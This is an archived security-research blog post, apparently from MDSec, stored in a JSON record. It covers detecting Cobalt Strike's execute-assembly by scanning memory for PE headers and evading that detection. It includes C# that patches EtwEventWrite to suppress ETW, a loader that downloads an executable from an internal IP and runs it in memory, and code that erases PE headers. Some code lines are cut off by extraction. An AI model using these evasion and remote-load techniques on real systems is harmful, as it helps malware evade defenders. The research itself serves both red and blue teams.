{
	"id": "f84e8753-cf01-4fe3-ae94-321f40afab4d",
	"created_at": "2026-04-06T00:22:33.85854Z",
	"updated_at": "2026-04-10T13:11:20.060645Z",
	"deleted_at": null,
	"sha1_hash": "f1894ab32ea7efc49f1e9ae119b917032b12f766",
	"title": "Detecting and Advancing In-Memory .NET Tradecraft",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2602351,
	"plain_text": "Detecting and Advancing In-Memory .NET Tradecraft\r\nBy Admin\r\nPublished: 2020-06-10 · Archived: 2026-04-05 21:46:43 UTC\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 1 of 15\n\nAdversary Simulation\r\nOur best in class red team can deliver a holistic cyber attack simulation to provide a true evaluation of your\r\norganisation’s cyber resilience.\r\nApplication\r\nSecurity\r\nLeverage the team behind the industry-leading Web Application and Mobile Hacker’s Handbook series.\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 2 of 15\n\nPenetration\r\nTesting\r\nMDSec’s penetration testing team is trusted by companies from the world’s leading technology firms to global\r\nfinancial institutions.\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 3 of 15\n\nResponse\r\nOur certified team work with customers at all stages of the Incident Response lifecycle through our range of\r\nproactive and reactive services.\r\nResearch\r\nMDSec’s dedicated research team periodically releases white papers, blog posts, and tooling.\r\nTraining\r\nMDSec’s training courses are informed by our security consultancy and research functions, ensuring you benefit\r\nfrom the latest and most applicable trends in the field.\r\nInsights\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 4 of 15\n\nView insights from MDSec’s consultancy and research teams.\r\nIntroduction\r\nIn-memory tradecraft is becoming more and more important for remaining undetected during a red team operation, with\r\nit becoming common practice for blue teams to peek in to running memory, courtesy of feature advancements in EDR.\r\nWe have previously covered the topics of integrating obfuscation to your pipeline and bypassing Event Tracing for\r\nWindows which can both reduce the indicators available for blue teams for detecting offensive in-memory tradecraft.\r\nA recent post titled “AppDomainManager Injection and Detection” by Pentest Laboratories provided a great overview of\r\nhow in-memory .NET execution can be achieved and detected using the AppDomainManager object. This post was the\r\ninitial spark of curiosity for this research as we began to wonder how these concepts would apply to other .NET\r\nexecution techniques such as Cobalt Strike’s execute-assembly. Understanding your tools and their weaknesses is one of\r\nthe most important aspects of being a red teamer.\r\nIn this post, we will outline an alternate approach for detecting in-memory assembly execution and highlight some\r\npotential strategies for further advancements in tradecraft.\r\nRecap on ETW Patching\r\nBefore we cover the main topic of this post, let’s recap on what we learned from our previous post, where we detailed\r\nhow red teams can patch Event Tracing for Windows functions to restrict the assemblies that are visible inside the CLR\r\nof a running process. In summary, this involved patching the ntdll.dll!EtwEventWrite function to prevent events being\r\nreport.\r\nWe can inspect the assemblies that are reported in ProcessHacker through ETW using the .NET assemblies tab as shown\r\nbelow:\r\nHowever, as previously documented, EtwEventWrite can be patched causing it to immediately return using code similar\r\nto the following:\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 5 of 15\n\ninternal static void PatchEtwEventWrite()\r\n{\r\nbool result;\r\nvar hook = new byte[] { 0xc2, 0x14, 0x00, 0x00 };\r\nvar address = GetProcAddress(LoadLibrary(\"ntdll.dll\"), \"EtwEventWrite\");\r\n result = VirtualProtect(address, (UIntPtr)hook.Length, (uint)MemoryProtectionConsts.EXECUTE_READWRITE, out uin\r\nMarshal.Copy(hook, 0, address, hook.Length);\r\nresult = VirtualProtect(address, (UIntPtr)hook.Length, oldProtect, out uint blackhole);\r\n}\r\nAfter applying the patch, a similar view to the following will be presented which limits the effectiveness of ETW:\r\nAt this stage, we were wondering how hidden is our .NET exe when running in memory and began to analyse how\r\nCobalt Strike’s beacon execute-assembly feature worked.\r\nAnalysis of Cobalt Strike’s execute-assembly\r\nCobalt Strike’s execute-assembly function provides a post-exploitation feature to inject the CLR in to a remote process\r\nas dictated by the malleable profile’s spawnto configuration.\r\nWe won’t cover how the CLR is injected, as this was detailed in our previous post. However, it is worth noting that the\r\nCLR DLLs clr.ddl, clrjit.dll and friends are loaded in to any running process when leveraging the CLR, and Cobalt\r\nStrikes execute-assembly is no exception:\r\nThis of course gives blue teamers hunting for in-memory .NET execution a starting point to narrow down which process\r\nmight be hosting a .NET exe. This can no doubt be baselined to identify anomalies of processes loading the CLR that\r\nshouldn’t be. TheWover also provides a fantastic tool for monitoring module loads which can be used as a means of\r\ndetecting processes loading the CLR.\r\nThe configuration of the remote process injection can be somewhat controlled using the options within a process-inject block, allowing amongst other things the initial and final page permissions to be set using\r\nthe startrwx and userwx settings. These allow memory to be initially allocated with READWRITE permissions,\r\nthen VirtualProtected to EXECUTE_READ to avoid the undesirable setting of EXECUTE_READWRITE that is\r\ncommonly searched for by blue teams.\r\nLet’s execute a long running process so we can properly analyse what’s happening in our injected process:\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 6 of 15\n\npublic static void Main(string[] args)\r\n{\r\nwhile (true)\r\n{\r\nConsole.WriteLine(\"Sleeping\");\r\nThread.Sleep(60000);\r\n}\r\n}\r\nPeeking inside the process defined in our spawnto configuration, we can quickly identify our .NET binary by doing a\r\nstring search for any strings with a minimum length of 10 which quickly points to our .NET exe’s PE header:\r\nAs expected, this sits in a EXECUTE_READ page courtesy of our malleable profile’s userwx configuration.\r\nAt this stage, we have our .NET exe mapped in memory but this is not an uncommon occurrence in the CLR and is to be\r\nexpected, particularly when using methods such as Assembly.Load(). Indeed, scanning the entirety of private memory for\r\nall running processes on a standard Windows 10 desktop revealed several processes with private memory containing PE\r\nheaders.\r\nHowever, let’s look at what happens when we use a simple loader to retrieve and execute an exe\r\nthrough Assembly.Load(). To do this, we’ll use a simple stub like the following:\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 7 of 15\n\nvar webClient = new System.Net.WebClient();\r\nvar data = webClient.DownloadData(\"http://10.37.129.2:8888/DummyConsole.exe\");\r\ntry\r\n{\r\nMethodInfo target = Assembly.Load(data).EntryPoint;\r\ntarget.Invoke(null, new object[] { null });\r\n}\r\ncatch (Exception ex)\r\n{\r\nConsole.WriteLine(ex.Message);\r\n}\r\nLoading this process in to Process Hacker, we can quickly discover our DummyConsole.exe app again mapped in\r\nmemory:\r\nHowever, the key difference here is that the page permissions are not executable, which is to be expected since normal\r\nexecution will rather read the IL and jit it elsewhere.\r\nWith this in mind, we now have a potential indicator for the use of execute-assembly; during all testing we were unable\r\nto identify any other processes using the CLR that contained PE headers inside\r\neither EXECUTE_READ or EXECUTE_READWRITE pages or any circumstances under which it could occur outside of\r\nCobalt Strike’s execute-assembly.\r\nHunting for execute-assembly\r\nNow that we have a potential Indicator of Compromise (IoC) for execute-assembly, let’s look at how we can hunt for it.\r\nThe first thing we need to do is narrow down our hunt to only processes with the CLR loaded, we can do this in C# with\r\na simple excerpt such as the following which will retrieve a list of running processes and their loaded modules:\r\nProcess[] processlist = Process.GetProcesses();\r\nforeach (Process theprocess in processlist)\r\n{\r\ntry\r\n{\r\nProcessModuleCollection myProcessModuleCollection = theprocess.Modules;\r\nProcessModule myProcessModule;\r\nfor (int i = 0; i \u003c myProcessModuleCollection.Count; i++)\r\n{\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 8 of 15\n\nmyProcessModule = myProcessModuleCollection[i];\r\nif (myProcessModule.ModuleName.Contains(\"clr.dll\"))\r\n{\r\nConsole.WriteLine(\"######### Process: {0} ID: {1}\", theprocess.ProcessName, thepro\r\nConsole.WriteLine(\"The moduleName is \" + myProcessModule.ModuleName);\r\nConsole.WriteLine(\"The \" + myProcessModule.ModuleName + \"'s base address is: \" + m\r\nConsole.WriteLine(\"The \" + myProcessModule.ModuleName + \"'s Entry point address is\r\nConsole.WriteLine(\"The \" + myProcessModule.ModuleName + \"'s File name is: \" + myPr\r\ni = myProcessModuleCollection.Count;\r\n}\r\n}\r\n}\r\ncatch (Exception e)\r\n{\r\nConsole.WriteLine(\"!!!!!!!! Unable to Access Process: {0} ID: {1}\", theprocess.ProcessName, theproce\r\n}\r\n}\r\nThe output of this will look something similar to the following:\r\nNow that we have a list of processes using the CLR, we need to search each of them for PE headers\r\ninside EXECUTE_READ or EXECUTE_READWRITE pages.\r\nAchieving this is relatively straight forward, we simply recover the details around allocated private memory for each of\r\nthe processes using the CLR, then read that memory, scanning for a PE header:\r\nstatic Byte[] peHeader = new Byte[] { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0\r\npublic static void MemScan(string processName)\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 9 of 15\n\n{\r\nSYSTEM_INFO sys_info = new SYSTEM_INFO();\r\nGetSystemInfo(out sys_info);\r\nUIntPtr proc_min_address = sys_info.minimumApplicationAddress;\r\nUIntPtr proc_max_address = sys_info.maximumApplicationAddress;\r\nulong proc_min_address_l = (ulong)proc_min_address;\r\nulong proc_max_address_l = (ulong)proc_max_address;\r\nProcess process = Process.GetProcessesByName(processName);\r\nUIntPtr processHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_WM_READ, false, (uint)process.Id);\r\nMEMORY_BASIC_INFORMATION mem_basic_info = new MEMORY_BASIC_INFORMATION();\r\nuint bytesRead = 0;\r\nwhile (proc_min_address_l \u003c proc_max_address_l)\r\n{\r\nVirtualQueryEx(processHandle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BAS\r\nif (((mem_basic_info.Protect == PAGE_EXECUTE_READWRITE) || (mem_basic_info.Protect == PAGE_EXECUTE_R\r\n{\r\nbyte[] buffer = new byte[mem_basic_info.RegionSize];\r\nReadProcessMemory(processHandle, mem_basic_info.BaseAddress, buffer, mem_basic_info.RegionS\r\nIntPtr Result = _Scan(buffer, peHeader);\r\nif (Result != IntPtr.Zero)\r\n{\r\nConsole.WriteLine(\"!!! Found PE binary in region: 0x{0}, Region Sz 0x{1}\", (mem_ba\r\n}\r\n}\r\nproc_min_address_l += mem_basic_info.RegionSize;\r\nproc_min_address = new UIntPtr(proc_min_address_l);\r\n}\r\n}\r\nRerunning our hunter, this time with our newly added memory scanner in it, we discover the PE binary in\r\nour spawnto process:\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 10 of 15\n\nWe can validate that this is correct by analysing the process in Process Hacker:\r\nNow that we know we can identify a .NET exe injected by execute-assembly, we can trivially carve it from memory by\r\nextracting the full page as follows:\r\nif (Result != IntPtr.Zero)\r\n{\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 11 of 15\n\nConsole.WriteLine(\"!!! Found PE binary in region: 0x{0}, Region Sz 0x{1}\", (mem_basic_info.BaseAddress).ToStr\r\nConsole.WriteLine(\"!!! Carving PE from memory...\");\r\nusing (FileStream fileStream = new FileStream(\"out.exe\", FileMode.Create))\r\n{\r\nfor (uint i = (uint)Result; i \u003c mem_basic_info.RegionSize; i++)\r\n{\r\nfileStream.WriteByte(buffer[i]);\r\n}\r\n}\r\n}\r\nRerunning our hunter, we now are able to not only able to identify the use of execute-assembly, but also carve the binary\r\nfrom the remote process:\r\nWe can confirm that we’ve carved the binary from memory by attempting to run it, although of course in the scenario of\r\na blue team investigation more caution should be taken:\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 12 of 15\n\nIn-Memory .NET Tradecraft OpSec for Red Teams\r\nNow that we’ve looked at how blue teams can detect execute-assembly, what approaches can we take to mitigate such\r\ninvestigations from an offensive perspective?\r\nFirstly, if we consider how our methodology for detection works we can potentially look at opportunities for how to\r\ndisrupt it. The key indicators for in-memory .NET execution in our methodology are:\r\nThe CLR related modules loaded inside a process,\r\nRX or RW page permissions,\r\nPE headers inside these pages.\r\nWith this in mind, there are several strategies which we can use to potentially better our in-memory .NET tradecraft:\r\nAs the CLR DLLs are loaded in to the remote process, we should consider using a process that legitimately hosts\r\nthe CLR as our spawnto for execute-assembly to avoid suspicious module loads being baselined.\r\nWhen searching for loaded DLLs, the most common approach used by many tools is to read the module list from\r\nthe Process Environment Block. The approach to hiding the CLR DLLs involves unlinking the modules from\r\nthe InLoadOrderModuleList, InMemoryOrderModuleList, InInitializationOrderModuleList and HashTableEntry lists.\r\nThis rudimentary approach may be used to hide the presence of clr.dll, clrjit.dll and friends and potentially fool\r\ntools that rely on walking the PEB, in to not recognising that the process is using the CLR.\r\nUnfortunately, as far as we are aware there is no way to leave a page with READWRITE permissions using only\r\nCobalt Strike’s remote process injection. However, it is of course possible to VirtualProtect these and you may\r\nwant to bootstrap this in to your pipeline. We will be following up with more research in this space over the\r\ncoming months ????\r\nOne potential consideration for your tradecraft may also be to avoid or limit the use of long running .NET\r\nassemblies in memory as outside of monitoring of module loads, in most cases memory scanning occurs at point\r\nin time. Therefore the longer your .NET exe persists in memory, the greater chance it has of being detected.\r\nAs we’re searching for a PE binary in memory, one option to potentially limit these searches is to stomp the PE\r\nheaders. We’ll walk through this next.\r\nFinally, as we have seen, the .NET exe sits plaintext in memory and as such we would also advise obfuscating\r\nyour .NET exe as part of your pipeline. An approach for this using Azure Pipelines was previously detailed by the\r\nmarvellous MDSec’er Adam Chester in this post.\r\nAs noted, it may be desirable to stomp the PE headers for our .NET exe from memory, while leaving the page\r\npermissions as READWRITE. This can be achieved by first retrieving the first blocks of allocated memory inside\r\nour spawnto process (which is where the .NET exe seems to get mapped), then setting the page permissions\r\nto READWRITE and using RtlFillMemory to overwrite the PE header. This can be accomplished using code similar to\r\nthe following:\r\nprivate static int ErasePEHeader()\r\n{\r\nSYSTEM_INFO sys_info = new SYSTEM_INFO();\r\nGetSystemInfo(out sys_info);\r\nUIntPtr proc_min_address = sys_info.minimumApplicationAddress;\r\nUIntPtr proc_max_address = sys_info.maximumApplicationAddress;\r\nulong proc_min_address_l = (ulong)proc_min_address;\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 13 of 15\n\nulong proc_max_address_l = (ulong)proc_max_address;\r\nProcess currentProcess = Process.GetCurrentProcess();\r\nMEMORY_BASIC_INFORMATION mem_basic_info = new MEMORY_BASIC_INFORMATION();\r\nVirtualQueryEx(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BASI\r\nproc_min_address_l += mem_basic_info.RegionSize;\r\nproc_min_address = new UIntPtr(proc_min_address_l);\r\nVirtualQueryEx(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BASI\r\nConsole.WriteLine(\"Base Address: 0x{0}\", (mem_basic_info.BaseAddress).ToString(\"X\"));\r\nbool result = VirtualProtect((UIntPtr)mem_basic_info.BaseAddress, (UIntPtr)4096, (uint)MemoryProtectionConsts\r\nFillMemory((UIntPtr)mem_basic_info.BaseAddress, 132, 0);\r\nConsole.WriteLine(\"PE Header overwritten at 0x{0}\", (mem_basic_info.BaseAddress).ToString(\"X\"));\r\nreturn 0;\r\n}\r\nRather than YOLO zero’ing memory, you may want to verify that it’s actually the expected PE header first; this can be\r\ntrivially done using the same code from our memory scanner but is omitted for brevity; you may also potentially want to\r\nalter this to scan the heap and clean up any other allocated copies of your exe that may be lingering out there.\r\nCombining this with our previously detailed ETW bypass (modifying the patch accordingly for x64) we now have a\r\nmethod of better hiding our .NET tradecraft in-memory. If we review our .NET assemblies in Process Hacker we can see\r\nthey are not being reported:\r\nAnd the PE header for our .NET exe is now gone and the page permissions are set to RW:\r\nConclusions\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 14 of 15\n\nIn this post we have outlined a methodology for blue teams to detect in-memory .NET execution, detailing a case study\r\nof Cobalt Strike’s execute-assembly feature and identifying indicators of compromise for the built-in execute-assembly\r\nfeature. With this knowledge, we presented a number of OpSec strategies that red teamers can leverage to further their\r\nin-memory tradecraft and disguise the artifacts exposed to the blue team.\r\nThe source code for the memory scanner can be found here.\r\nThis blog post was written by Dominic Chell.\r\nStay updated with the latest\r\nnews from MDSec.\r\nSource: https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nhttps://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/\r\nPage 15 of 15\n\nDetecting By Admin and Advancing  In-Memory .NET Tradecraft\nPublished: 2020-06-10 · Archived: 2026-04-05 21:46:43 UTC \n    Page 1 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"
	],
	"report_names": [
		"detecting-and-advancing-in-memory-net-tradecraft"
	],
	"threat_actors": [],
	"ts_created_at": 1775434953,
	"ts_updated_at": 1775826680,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f1894ab32ea7efc49f1e9ae119b917032b12f766.pdf",
		"text": "https://archive.orkl.eu/f1894ab32ea7efc49f1e9ae119b917032b12f766.txt",
		"img": "https://archive.orkl.eu/f1894ab32ea7efc49f1e9ae119b917032b12f766.jpg"
	}
}